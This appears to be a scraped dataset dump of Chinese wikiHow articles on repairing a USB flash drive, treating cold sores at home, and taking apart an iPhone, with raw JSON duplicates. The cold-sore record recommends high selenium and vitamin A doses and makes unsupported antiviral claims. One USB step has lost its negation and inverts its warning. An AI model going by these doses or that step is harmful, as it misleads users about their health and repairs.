1-1. 如果存放在U盘上的文件不太重要，你可以自己尝试恢复数据。
如果U盘上数据非常重要，那么你需要向U盘数据恢复公司求助。
{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/thumb\/4\/43\/Repair-a-USB-Flash-Drive-Step-1Bullet1.jpg\/v4-460px-Repair-a-USB-Flash-Drive-Step-1Bullet1.jpg","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/4\/43\/Repair-a-USB-Flash-Drive-Step-1Bullet1.jpg\/v4-300px-Repair-a-USB-Flash-Drive-Step-1Bullet1.jpg","smallWidth":460,"smallHeight":307,"bigWidth":300,"bigHeight":200,"licensing":"<div class=\"mw-parser-output\"><\/div>"}这些公司有专业硬件和工作来维修电路板。一些更高端的公司可以使用工具将NAND记忆芯片从电路板上拆卸下来，然后提取存储其中的原始数据并将其恢复。
{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/thumb\/c\/c4\/Repair-a-USB-Flash-Drive-Step-1Bullet2.jpg\/v4-460px-Repair-a-USB-Flash-Drive-Step-1Bullet2.jpg","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/c\/c4\/Repair-a-USB-Flash-Drive-Step-1Bullet2.jpg\/v4-300px-Repair-a-USB-Flash-Drive-Step-1Bullet2.jpg","smallWidth":460,"smallHeight":307,"bigWidth":300,"bigHeight":200,"licensing":"<div class=\"mw-parser-output\"><\/div>"}数据恢复费用可能从数十元到几千元不等，修复费用主要取决于U盘受损的程度以及恢复数据的方法。
{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/thumb\/1\/11\/Repair-a-USB-Flash-Drive-Step-1Bullet3.jpg\/v4-460px-Repair-a-USB-Flash-Drive-Step-1Bullet3.jpg","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/1\/11\/Repair-a-USB-Flash-Drive-Step-1Bullet3.jpg\/v4-300px-Repair-a-USB-Flash-Drive-Step-1Bullet3.jpg","smallWidth":460,"smallHeight":307,"bigWidth":300,"bigHeight":200,"licensing":"<div class=\"mw-parser-output\"><\/div>"}有一些数据恢复公司针对一般物理和内部损坏提供价格在2千元以下的恢复解决方案。
1-2. 准备工具。
如果你决定自己动手，那么你需要：
烙铁和焊接材料
一根额外的USB线
剪线钳和剥线钳
小一字螺丝刀
放大镜
注意：这些步骤仅在你的U盘接口损坏时适用
1-3. 使用一字螺丝刀，小心打开U盘外壳。
1-4. 使用放大镜观察电路板和焊接盘。
如果发现有PCB损坏或者焊锡盘脱离，你很可能需要寻求专业帮助。
注意：焊盘是用于连接USB接口尖头和电路板上铜线4个焊点。如果U盘只是接口损坏，而电路板和焊盘没有受到影响，那么继续下一步操作。
1-5. 将U盘放置在坚硬的平面上，接口端朝向自己，焊盘向上。
1-6. 使用剪线钳将USB线其中一端剪掉。
如果USB线是公头对公头，那么可以剪掉任意一端，否则剪掉USB线的母头端。
1-7. 使用剥线钳将线缆内四根电线每根剥开大约0.6厘米长。
如果你没有额外的USB线，也可以在损坏的USB接口每一个尖头上焊接一小段电线，这相当于自制一根迷你USB线。
1-8. 将四根电线焊接到四个焊盘上。
其颜色从左到右分别为黑、绿、白和红。
{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/thumb\/3\/3a\/Repair-a-USB-Flash-Drive-Step-8Bullet1.jpg\/v4-460px-Repair-a-USB-Flash-Drive-Step-8Bullet1.jpg","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/3\/3a\/Repair-a-USB-Flash-Drive-Step-8Bullet1.jpg\/v4-300px-Repair-a-USB-Flash-Drive-Step-8Bullet1.jpg","smallWidth":460,"smallHeight":307,"bigWidth":300,"bigHeight":200,"licensing":"<div class=\"mw-parser-output\"><\/div>"}
混淆不同颜色的线，否则你存放在U盘上的文件就毁了。
{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/thumb\/2\/23\/Repair-a-USB-Flash-Drive-Step-8Bullet2.jpg\/v4-460px-Repair-a-USB-Flash-Drive-Step-8Bullet2.jpg","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/2\/23\/Repair-a-USB-Flash-Drive-Step-8Bullet2.jpg\/v4-300px-Repair-a-USB-Flash-Drive-Step-8Bullet2.jpg","smallWidth":460,"smallHeight":307,"bigWidth":300,"bigHeight":200,"licensing":"<div class=\"mw-parser-output\"><\/div>"}如果你使用自制线代替USB线，只需要将每根电线直接焊接到相应的焊点上，而无需担心颜色。
1-9. 将USB线的另外一端插入计算机，然后耐心等待。
如果计算机可以识别出U盘，那就成功了！你只需将文件转存到计算机上就可以了。
如果U盘仍然无法识别，那就可能是由于复杂底层问题引起的，无法自己修复。此时可考虑将U盘交给专业的数据恢复公司来处理，或者将它装饰起来挂在显眼的地方提醒自己要记得备份重要的文件。
2. 扫描U盘错误（Windows）
2-1. 将U盘插入计算机的USB接口。
2-2. 打开我的电脑，右击可移动磁盘图标。
选择属性。
2-3. 点击工具选项卡。
2-4. 点击开始检查按钮。
2-5.
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2-6. 等待扫描结束，点击关闭。
3. 重新格式化U盘
3-1. 格式化为NTFS格式。
3-2. 再次格式化为FAT32格式。
警告
格式化将删除磁盘上所有数据。
如果文件非常重要，不要轻易相信那些碰巧有电烙铁的朋友可以修好你的U盘。通常情况下，如果USB接口损坏，焊盘也会从电路板上脱落。这意味着焊接新手不但很难解决问题，而且很有可能造成更大的损坏。"焊盘脱落"是指当USB接口损坏时，4个尖头焊盘脱离了电路板上而粘在尖头上。如果你发现这些焊盘已经脱离，我们建议你选择专业的数据恢复服务，而不是采用下面的方法。
备份数据和驱动程序、格式化磁盘和重新安装操作系统过程冗长复杂，只有熟悉该工作的人才能够进行操作。
了解低级格式化（LLF）和初始化（将驱动恢复为出厂设置）有所不同。LLF由于改进的调频制（MFM）技术在80年代很常见，而其他驱动格式并不是在制造过程中进行几何形态设置。而现代存储设备中用户几乎无法对设备进行低级格式化操作。
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\"步骤\": [{\"编号\": 1, \"标题\": \"如果存放在U盘上的文件不太重要，你可以自己尝试恢复数据。\", \"描述\": \"如果U盘上数据非常重要，那么你需要向U盘数据恢复公司求助。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/4\\\\/43\\\\/Repair-a-USB-Flash-Drive-Step-1Bullet1.jpg\\\\/v4-460px-Repair-a-USB-Flash-Drive-Step-1Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/4\\\\/43\\\\/Repair-a-USB-Flash-Drive-Step-1Bullet1.jpg\\\\/v4-300px-Repair-a-USB-Flash-Drive-Step-1Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":307,\\\"bigWidth\\\":300,\\\"bigHeight\\\":200,\\\"licensing\\\":\\\"<div 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class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}数据恢复费用可能从数十元到几千元不等，修复费用主要取决于U盘受损的程度以及恢复数据的方法。\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/1\\\\/11\\\\/Repair-a-USB-Flash-Drive-Step-1Bullet3.jpg\\\\/v4-460px-Repair-a-USB-Flash-Drive-Step-1Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/1\\\\/11\\\\/Repair-a-USB-Flash-Drive-Step-1Bullet3.jpg\\\\/v4-300px-Repair-a-USB-Flash-Drive-Step-1Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":307,\\\"bigWidth\\\":300,\\\"bigHeight\\\":200,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}有一些数据恢复公司针对一般物理和内部损坏提供价格在2千元以下的恢复解决方案。\"}, {\"编号\": 2, \"标题\": \"准备工具。\", \"描述\": \"如果你决定自己动手，那么你需要：\\n烙铁和焊接材料\\n一根额外的USB线\\n剪线钳和剥线钳\\n小一字螺丝刀\\n放大镜\\n注意：这些步骤仅在你的U盘接口损坏时适用\"}, {\"编号\": 3, \"标题\": \"使用一字螺丝刀，小心打开U盘外壳。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"使用放大镜观察电路板和焊接盘。\", \"描述\": \"如果发现有PCB损坏或者焊锡盘脱离，你很可能需要寻求专业帮助。\\n注意：焊盘是用于连接USB接口尖头和电路板上铜线4个焊点。如果U盘只是接口损坏，而电路板和焊盘没有受到影响，那么继续下一步操作。\"}, {\"编号\": 5, \"标题\": \"将U盘放置在坚硬的平面上，接口端朝向自己，焊盘向上。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"使用剪线钳将USB线其中一端剪掉。\", \"描述\": \"如果USB线是公头对公头，那么可以剪掉任意一端，否则剪掉USB线的母头端。\"}, {\"编号\": 7, \"标题\": \"使用剥线钳将线缆内四根电线每根剥开大约0.6厘米长。\", \"描述\": \"如果你没有额外的USB线，也可以在损坏的USB接口每一个尖头上焊接一小段电线，这相当于自制一根迷你USB线。\"}, {\"编号\": 8, \"标题\": \"将四根电线焊接到四个焊盘上。\", \"描述\": \"其颜色从左到右分别为黑、绿、白和红。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3a\\\\/Repair-a-USB-Flash-Drive-Step-8Bullet1.jpg\\\\/v4-460px-Repair-a-USB-Flash-Drive-Step-8Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3a\\\\/Repair-a-USB-Flash-Drive-Step-8Bullet1.jpg\\\\/v4-300px-Repair-a-USB-Flash-Drive-Step-8Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":307,\\\"bigWidth\\\":300,\\\"bigHeight\\\":200,\\\"licensing\\\":\\\"<div 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{\"编号\": 2, \"标题\": \"打开我的电脑，右击可移动磁盘图标。\", \"描述\": \"选择属性。\"}, {\"编号\": 3, \"标题\": \"点击工具选项卡。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击开始检查按钮。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"\", \"描述\": \"{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/b\\\\/bf\\\\/Repair-a-USB-Flash-Drive-Step-14.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/b\\\\/bf\\\\/Repair-a-USB-Flash-Drive-Step-14.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":356,\\\"bigWidth\\\":300,\\\"bigHeight\\\":232,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 6, \"标题\": \"等待扫描结束，点击关闭。\", \"描述\": \"\"}]}, {\"编号\": 3, \"标题\": \"重新格式化U盘\", \"步骤\": [{\"编号\": 1, \"标题\": \"格式化为NTFS格式。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"再次格式化为FAT32格式。\", \"描述\": \"\"}], \"注意事项\": [\"格式化将删除磁盘上所有数据。\\n\", \"如果文件非常重要，不要轻易相信那些碰巧有电烙铁的朋友可以修好你的U盘。通常情况下，如果USB接口损坏，焊盘也会从电路板上脱落。这意味着焊接新手不但很难解决问题，而且很有可能造成更大的损坏。\\\"焊盘脱落\\\"是指当USB接口损坏时，4个尖头焊盘脱离了电路板上而粘在尖头上。如果你发现这些焊盘已经脱离，我们建议你选择专业的数据恢复服务，而不是采用下面的方法。\\n\", \"备份数据和驱动程序、格式化磁盘和重新安装操作系统过程冗长复杂，只有熟悉该工作的人才能够进行操作。\\n\", \"了解低级格式化（LLF）和初始化（将驱动恢复为出厂设置）有所不同。LLF由于改进的调频制（MFM）技术在80年代很常见，而其他驱动格式并不是在制造过程中进行几何形态设置。而现代存储设备中用户几乎无法对设备进行低级格式化操作。\\n\"]}]}}",
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14,692 | 如何治疗唇疱疹：家庭疗法有用吗? | 1. 局部治疗
1-1. 冰敷。
将冰块或冰袋直接敷在唇疱疹上几分钟。敷到疼痛感变得麻木，过一会儿后就拿走。每1到3小时重复。
只有刚出现的唇疱疹才可以冰敷。要是唇疱疹已经破裂，冰敷会妨碍它愈合。
1-2. 利用茶。
最简单的方法是将温热的茶包放在唇疱疹上，敷数分钟。每隔几小时重复1次。
红茶里的丹宁酸可以舒缓发炎症状，使皮肤变干。
泡蜜蜂花茶。将2到4茶匙（10到20毫升）蜜蜂花捣碎，倒入250毫升沸水中，泡10到15分钟。全天候时不时用棉签将茶水擦在唇疱疹上。压力会引发唇疱疹，而蜜蜂花可以减压。
绿茶也是很好的选择，它含有大量表没食子儿茶素没食子酸酯（EGCG）。人们认为这种抗氧化成分有抗病毒作用。直接将绿茶包敷在唇疱疹上，或每天喝两三杯绿茶，获取它的益处。
1-3. 使用冰冷的乳制品。
人们相信冰冷的牛奶和酸奶可以帮助抵御唇疱疹。用棉球蘸少许冰冷的牛奶或酸奶，直接涂在唇疱疹上。
牛奶含有免疫球蛋白，这个特殊的抗体可以对抗病毒。此外它还含有赖氨酸，可以抵抗导致唇疱疹发作的精氨酸（一种氨基酸）。把棉球浸在1汤匙（15毫升）冰冷牛奶里，直接敷在唇疱疹上约2分钟。
喝牛奶也有助于抵御唇疱疹。
酸奶里的益生菌帮助抵抗引发唇疱疹的疱疹病毒。直接将少许原味酸奶擦在唇疱疹上，或是在发作期间，每天吃两三杯脱脂酸奶。
1-4. 用天然油或提取物。
一些天然油和提取物有抗菌作用，直接涂在唇疱疹上，可以抵御引发唇疱疹的病毒。还有一些天然油和提取物有收敛作用，使患处变干，防止唇疱疹受感染而恶化。
薄荷油可以抵抗从感染处逃出来的病毒，对治疗唇疱疹十分有用。用棉签蘸少许薄荷油，涂在患处。每天2次，直到疱疹消失。
金缕梅油有收敛和抗菌作用。将棉签浸在1茶匙（5毫升）金缕梅里，直接涂在唇疱疹上。不要洗掉。每天涂2次。
真正的香草提取物含有酒精，所以病毒很难生存。将棉签浸在1/2茶匙（2.5毫升）香草提取物里，直接压在唇疱疹上1或2分钟。每天重复不超过4次。
茶树油和大蒜油帮助唇疱疹保持柔软，加快痊愈过程。柔软的唇疱疹不容易破裂。万一它破了，可能会再次发作，或变得更严重。将其中一种油直接涂在唇疱疹上，每天1次或2次。
1-5. 用过氧化氢抵抗唇疱疹。
过氧化氢是非常强效的消毒剂。使用时，小心不要吞下它。
将一颗棉球浸在1汤匙（15毫升）过氧化氢里，直接压在唇疱疹上5分钟。之后把它洗掉。
1-6. 使用芦荟胶。
芦荟可以缓解疼痛，对抗细菌，以免它们感染唇疱疹，使病情恶化。
用棉签将1/2茶匙（2.5毫升）芦荟胶直接涂在患处。不要洗掉。
1-7. 保护唇疱疹。
治疗唇疱疹后，涂上一层薄薄的凡士林保护它，防止外面的细菌刺激唇疱疹，使它更快消失。
手边没有凡士林？不妨用少许蜂蜜。蜂蜜有抗菌和抗病毒作用，可以防止唇疱疹受到进一步威胁，还能抵抗潜在病毒。用棉签涂少许蜂蜜，彻底覆盖患处。
另一个选择是玉米淀粉糊。玉米淀粉可以中和唇疱疹的酸碱值，使病毒难以生存。将1汤匙（15毫升）玉米淀粉和1茶匙（5毫升）水拌成糊状物。晚上临睡前涂在唇疱疹上，第二天早晨洗干净。
2. 口服治疗
2-1. 嚼甘草。
唇疱疹发作期间，每天嚼甘草鞭1次或2次，有助于抵御引发唇疱疹的潜在病毒。不过，你得吃真正的甘草根制成的甘草糖。
甘草也可以外敷。将1汤匙（15毫升）甘草根粉或提取物、1/2茶匙（2.5毫升）水或2茶匙（10毫升）凡士林混匀。把药膏涂在唇疱疹上，完全覆盖患处数小时，或直到第二天。
甘草根里的甘草酸是主要的治疗成分。它有抗炎和抗病毒作用。
2-2. 使用紫锥花。
人们相信紫锥花茶可以增强免疫系统，帮助身体做出自然免疫反应，抵抗唇疱疹。
将1个紫锥花茶包放进250毫升刚煮沸的水里，泡10分钟。泡好后就可以喝了。每天喝1次，直到唇疱疹消失。
或者每天摄取200毫克紫锥花补充剂4次。
2-3. 摄取适当的维生素。
想要治疗唇疱疹，就得多摄取维生素E、C和A。从补充剂或食物摄取这些维生素。
富含维生素C的食物包括红莓、猕猴桃（奇异果）、花椰菜、番茄、甜椒和菠菜。
富含维生素E的食物包括坚果、绿叶蔬菜、全谷类和鳄梨。
每天服用1000毫克维生素C补充剂不超过3次。
你可以摄取25000国际单位的维生素A，每天2次，连续5天。孕妇或可能怀孕的女性每天不可摄取超过5000国际单位的维生素A。
2-4. 增加赖氨酸摄入量。
这个氨基酸能帮助身体生长及修复组织。你可以透过食物或补充剂摄取它。
赖氨酸常见于红肉、鱼类和乳制品。
在发作期间，每天服用1000毫克补充剂3次。空腹服用，不要和牛奶一起吃。
2-5. 服用硒。
它可以加强身体抗氧化成分的作用，帮助增强免疫系统，提高身体对抗唇疱疹病毒的能力。从食物或补充剂摄取硒。
螃蟹、肝脏、鱼和小麦均含有硒。
在发作期间，每天服用600微克补充剂。超过这个剂量对身体有毒。
2-6. 服用少许亚麻籽油。
它含有α-亚麻酸，这种脂肪酸有消炎作用，可以减轻患处的发炎症状，使身体更容易对抗潜在病毒。
每天服用1汤匙（14克）亚麻籽油1次。不管是配上食物一起吃或是单独吃都可以，最好在早上服用。
2-7. 不要吃会使唇疱疹恶化的食物。
一些食物里的成分可能引发唇疱疹，在发作期间最好不要吃。例如，不要吃含有精氨酸的食物，像是坚果、巧克力、全谷类和明胶（软糖、果冻等）。
警告
不要试着用化妆品遮盖唇疱疹。这会令唇疱疹恶化，更慢恢复。
不要挤或挑唇疱疹，以免传播更多细菌，使它受感染。你也可能把疱疹病毒传染到身体其它部位，或传给别人。
更换牙刷。牙刷可能携带引发唇疱疹的病毒，疱疹发作后更换牙刷，可以缩短发作期。疱疹消失后，也要更换牙刷。如果你不想丢掉牙刷，可以用洗碗机清洗。
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用过氧化氢抵抗唇疱疹。\\n过氧化氢是非常强效的消毒剂。使用时，小心不要吞下它。\\n将一颗棉球浸在1汤匙（15毫升）过氧化氢里，直接压在唇疱疹上5分钟。之后把它洗掉。\\n1-6. 使用芦荟胶。\\n芦荟可以缓解疼痛，对抗细菌，以免它们感染唇疱疹，使病情恶化。\\n用棉签将1/2茶匙（2.5毫升）芦荟胶直接涂在患处。不要洗掉。\\n1-7. 保护唇疱疹。\\n治疗唇疱疹后，涂上一层薄薄的凡士林保护它，防止外面的细菌刺激唇疱疹，使它更快消失。\\n手边没有凡士林？不妨用少许蜂蜜。蜂蜜有抗菌和抗病毒作用，可以防止唇疱疹受到进一步威胁，还能抵抗潜在病毒。用棉签涂少许蜂蜜，彻底覆盖患处。\\n另一个选择是玉米淀粉糊。玉米淀粉可以中和唇疱疹的酸碱值，使病毒难以生存。将1汤匙（15毫升）玉米淀粉和1茶匙（5毫升）水拌成糊状物。晚上临睡前涂在唇疱疹上，第二天早晨洗干净。\\n2. 口服治疗\\n2-1. 嚼甘草。\\n唇疱疹发作期间，每天嚼甘草鞭1次或2次，有助于抵御引发唇疱疹的潜在病毒。不过，你得吃真正的甘草根制成的甘草糖。\\n甘草也可以外敷。将1汤匙（15毫升）甘草根粉或提取物、1/2茶匙（2.5毫升）水或2茶匙（10毫升）凡士林混匀。把药膏涂在唇疱疹上，完全覆盖患处数小时，或直到第二天。\\n甘草根里的甘草酸是主要的治疗成分。它有抗炎和抗病毒作用。\\n2-2. 使用紫锥花。\\n人们相信紫锥花茶可以增强免疫系统，帮助身体做出自然免疫反应，抵抗唇疱疹。\\n将1个紫锥花茶包放进250毫升刚煮沸的水里，泡10分钟。泡好后就可以喝了。每天喝1次，直到唇疱疹消失。\\n或者每天摄取200毫克紫锥花补充剂4次。\\n2-3. 摄取适当的维生素。\\n想要治疗唇疱疹，就得多摄取维生素E、C和A。从补充剂或食物摄取这些维生素。\\n富含维生素C的食物包括红莓、猕猴桃（奇异果）、花椰菜、番茄、甜椒和菠菜。\\n富含维生素E的食物包括坚果、绿叶蔬菜、全谷类和鳄梨。\\n每天服用1000毫克维生素C补充剂不超过3次。\\n你可以摄取25000国际单位的维生素A，每天2次，连续5天。孕妇或可能怀孕的女性每天不可摄取超过5000国际单位的维生素A。\\n2-4. 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\"最简单的方法是将温热的茶包放在唇疱疹上，敷数分钟。每隔几小时重复1次。\\n红茶里的丹宁酸可以舒缓发炎症状，使皮肤变干。\\n泡蜜蜂花茶。将2到4茶匙（10到20毫升）蜜蜂花捣碎，倒入250毫升沸水中，泡10到15分钟。全天候时不时用棉签将茶水擦在唇疱疹上。压力会引发唇疱疹，而蜜蜂花可以减压。\\n绿茶也是很好的选择，它含有大量表没食子儿茶素没食子酸酯（EGCG）。人们认为这种抗氧化成分有抗病毒作用。直接将绿茶包敷在唇疱疹上，或每天喝两三杯绿茶，获取它的益处。\"}, {\"编号\": 3, \"标题\": \"使用冰冷的乳制品。\", \"描述\": \"人们相信冰冷的牛奶和酸奶可以帮助抵御唇疱疹。用棉球蘸少许冰冷的牛奶或酸奶，直接涂在唇疱疹上。\\n牛奶含有免疫球蛋白，这个特殊的抗体可以对抗病毒。此外它还含有赖氨酸，可以抵抗导致唇疱疹发作的精氨酸（一种氨基酸）。把棉球浸在1汤匙（15毫升）冰冷牛奶里，直接敷在唇疱疹上约2分钟。\\n喝牛奶也有助于抵御唇疱疹。\\n酸奶里的益生菌帮助抵抗引发唇疱疹的疱疹病毒。直接将少许原味酸奶擦在唇疱疹上，或是在发作期间，每天吃两三杯脱脂酸奶。\"}, {\"编号\": 4, \"标题\": \"用天然油或提取物。\", \"描述\": \"一些天然油和提取物有抗菌作用，直接涂在唇疱疹上，可以抵御引发唇疱疹的病毒。还有一些天然油和提取物有收敛作用，使患处变干，防止唇疱疹受感染而恶化。\\n薄荷油可以抵抗从感染处逃出来的病毒，对治疗唇疱疹十分有用。用棉签蘸少许薄荷油，涂在患处。每天2次，直到疱疹消失。\\n金缕梅油有收敛和抗菌作用。将棉签浸在1茶匙（5毫升）金缕梅里，直接涂在唇疱疹上。不要洗掉。每天涂2次。\\n真正的香草提取物含有酒精，所以病毒很难生存。将棉签浸在1/2茶匙（2.5毫升）香草提取物里，直接压在唇疱疹上1或2分钟。每天重复不超过4次。\\n茶树油和大蒜油帮助唇疱疹保持柔软，加快痊愈过程。柔软的唇疱疹不容易破裂。万一它破了，可能会再次发作，或变得更严重。将其中一种油直接涂在唇疱疹上，每天1次或2次。\"}, {\"编号\": 5, \"标题\": \"用过氧化氢抵抗唇疱疹。\", \"描述\": \"过氧化氢是非常强效的消毒剂。使用时，小心不要吞下它。\\n将一颗棉球浸在1汤匙（15毫升）过氧化氢里，直接压在唇疱疹上5分钟。之后把它洗掉。\"}, {\"编号\": 6, \"标题\": \"使用芦荟胶。\", \"描述\": \"芦荟可以缓解疼痛，对抗细菌，以免它们感染唇疱疹，使病情恶化。\\n用棉签将1/2茶匙（2.5毫升）芦荟胶直接涂在患处。不要洗掉。\"}, {\"编号\": 7, \"标题\": \"保护唇疱疹。\", \"描述\": \"治疗唇疱疹后，涂上一层薄薄的凡士林保护它，防止外面的细菌刺激唇疱疹，使它更快消失。\\n手边没有凡士林？不妨用少许蜂蜜。蜂蜜有抗菌和抗病毒作用，可以防止唇疱疹受到进一步威胁，还能抵抗潜在病毒。用棉签涂少许蜂蜜，彻底覆盖患处。\\n另一个选择是玉米淀粉糊。玉米淀粉可以中和唇疱疹的酸碱值，使病毒难以生存。将1汤匙（15毫升）玉米淀粉和1茶匙（5毫升）水拌成糊状物。晚上临睡前涂在唇疱疹上，第二天早晨洗干净。\"}]}, {\"编号\": 2, \"标题\": \"口服治疗\", \"步骤\": [{\"编号\": 1, \"标题\": \"嚼甘草。\", \"描述\": \"唇疱疹发作期间，每天嚼甘草鞭1次或2次，有助于抵御引发唇疱疹的潜在病毒。不过，你得吃真正的甘草根制成的甘草糖。\\n甘草也可以外敷。将1汤匙（15毫升）甘草根粉或提取物、1/2茶匙（2.5毫升）水或2茶匙（10毫升）凡士林混匀。把药膏涂在唇疱疹上，完全覆盖患处数小时，或直到第二天。\\n甘草根里的甘草酸是主要的治疗成分。它有抗炎和抗病毒作用。\"}, {\"编号\": 2, \"标题\": \"使用紫锥花。\", \"描述\": \"人们相信紫锥花茶可以增强免疫系统，帮助身体做出自然免疫反应，抵抗唇疱疹。\\n将1个紫锥花茶包放进250毫升刚煮沸的水里，泡10分钟。泡好后就可以喝了。每天喝1次，直到唇疱疹消失。\\n或者每天摄取200毫克紫锥花补充剂4次。\"}, {\"编号\": 3, \"标题\": \"摄取适当的维生素。\", \"描述\": \"想要治疗唇疱疹，就得多摄取维生素E、C和A。从补充剂或食物摄取这些维生素。\\n富含维生素C的食物包括红莓、猕猴桃（奇异果）、花椰菜、番茄、甜椒和菠菜。\\n富含维生素E的食物包括坚果、绿叶蔬菜、全谷类和鳄梨。\\n每天服用1000毫克维生素C补充剂不超过3次。\\n你可以摄取25000国际单位的维生素A，每天2次，连续5天。孕妇或可能怀孕的女性每天不可摄取超过5000国际单位的维生素A。\"}, {\"编号\": 4, \"标题\": \"增加赖氨酸摄入量。\", \"描述\": \"这个氨基酸能帮助身体生长及修复组织。你可以透过食物或补充剂摄取它。\\n赖氨酸常见于红肉、鱼类和乳制品。\\n在发作期间，每天服用1000毫克补充剂3次。空腹服用，不要和牛奶一起吃。\"}, {\"编号\": 5, \"标题\": \"服用硒。\", \"描述\": \"它可以加强身体抗氧化成分的作用，帮助增强免疫系统，提高身体对抗唇疱疹病毒的能力。从食物或补充剂摄取硒。\\n螃蟹、肝脏、鱼和小麦均含有硒。\\n在发作期间，每天服用600微克补充剂。超过这个剂量对身体有毒。\"}, {\"编号\": 6, \"标题\": \"服用少许亚麻籽油。\", \"描述\": \"它含有α-亚麻酸，这种脂肪酸有消炎作用，可以减轻患处的发炎症状，使身体更容易对抗潜在病毒。\\n每天服用1汤匙（14克）亚麻籽油1次。不管是配上食物一起吃或是单独吃都可以，最好在早上服用。\"}, {\"编号\": 7, \"标题\": \"不要吃会使唇疱疹恶化的食物。\", \"描述\": \"一些食物里的成分可能引发唇疱疹，在发作期间最好不要吃。例如，不要吃含有精氨酸的食物，像是坚果、巧克力、全谷类和明胶（软糖、果冻等）。\"}], \"注意事项\": [\"不要试着用化妆品遮盖唇疱疹。这会令唇疱疹恶化，更慢恢复。\\n\", \"不要挤或挑唇疱疹，以免传播更多细菌，使它受感染。你也可能把疱疹病毒传染到身体其它部位，或传给别人。\\n\", \"更换牙刷。牙刷可能携带引发唇疱疹的病毒，疱疹发作后更换牙刷，可以缩短发作期。疱疹消失后，也要更换牙刷。如果你不想丢掉牙刷，可以用洗碗机清洗。\\n\"]}]}}",
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} | wikihow |
14,693 | 如何拆开iPhone | 1. 步骤
1-1. 将手机关机。
打开手机盖之前，一定要把手机关机，而不能只将屏幕关闭。长按电源按钮，出现关机滑块后，滑动关机。
在未关机的情况下拆开iPhone会导致手机出现故障。
1-2. 移除SIM卡。
为了防止在拆卸过程中损坏SIM卡，你就要先将其移除。移除SIM卡的方法根据iPhone型号的不同而不同，不过一般来说，只要用一枚曲别针捅一下SIM卡旁边的孔。
1-3. 除静电。
在打开手机前，一定要确保自己身上没有静电，否则可能损坏里面的元件。抚摸其他金属物件，你就能除掉身上的静电。
1-4. 取下螺丝。
iPhone手机底下有两枚螺丝钉需要取下来，这两枚螺丝钉分别位于数据线插口的两边。
早期的iPhone及iPhone 3GS上的螺丝需要用十字螺丝刀（#00）来拧，而iPhone 4和iPhone 6则需要用到五角螺丝刀。
iPhone上的螺丝非常小，所以一定更要注意保管，防止遗失。
1-5. 撬开手机盖。
螺丝取下来以后，你就可以用一把小型的一字螺丝刀将手机盖撬开。将螺丝刀插入数据线插口的上方，也就是你刚才取下螺丝钉的地方，然后轻轻撬动，让手机盖自己弹起来。
另外，你也可以用一个吸盘吸住手机屏幕，然后慢慢往上提，直到屏幕与手机盖分离。这种方法对手机的损伤要比用螺丝刀撬来得小。
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慢慢打开手机盖。iPhone屏幕是通过一些带状电缆与里面的元件相连接的，所以如果你打开得太快，就可能扯坏带状电缆。
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1-6. 移除带状电缆。
带状电缆将手机屏幕与主板相连，要将手机完全拆开，就要移除这些带状电缆。
必须先移除上面两根带状电缆，才能碰到第三根。
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移除带状电缆时要特别小心，一旦扯坏，你的iPhone就彻底报废了。
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1-7. 移除屏幕。
移除带状电缆后，你就可以卸下屏幕了，不过屏幕要好好安放起来，避免损坏。
1-8. 取下主板。
如果你需要取下主板，那么首先要移除金属板上的螺丝钉。有些螺丝钉上贴有贴纸。取下螺丝钉后，就可以摘下主板了。
1-9. 移除电池。
型号较旧的iPhone里，电池是粘贴在手机底板上的，你可以用一把一字螺丝刀沿着周边撬动，然后轻轻将其从底板上剥离下来。移除过程中，一定要小心别刺伤电池。
型号较新的iPhone中，电池是可拆卸的，只要取下固定电池的螺丝，你就能把电池拆下来了。
1-10. 重新装好iPhone。
修理完成后你就可以将以上步骤倒过来，一步一步把手机重新装好，要记得把所有的带状电缆都复位。
小提示
在接触手机内部任何电子元件前，一定要先除去身上的静电，否则，里面的元件可能受到损坏。你可以通过触摸金属物件来去除静电。
警告
拆iPhone一定要特别谨慎，因为里面有许多既昂贵又敏感的元件，而且都非常易损。
撬开手机盖时也要特别当心。用力过猛可能会划伤或掰裂手机盖，甚至损坏手机运行不可或缺的重要元件。
自行拆开iPhone会导致保修失效。
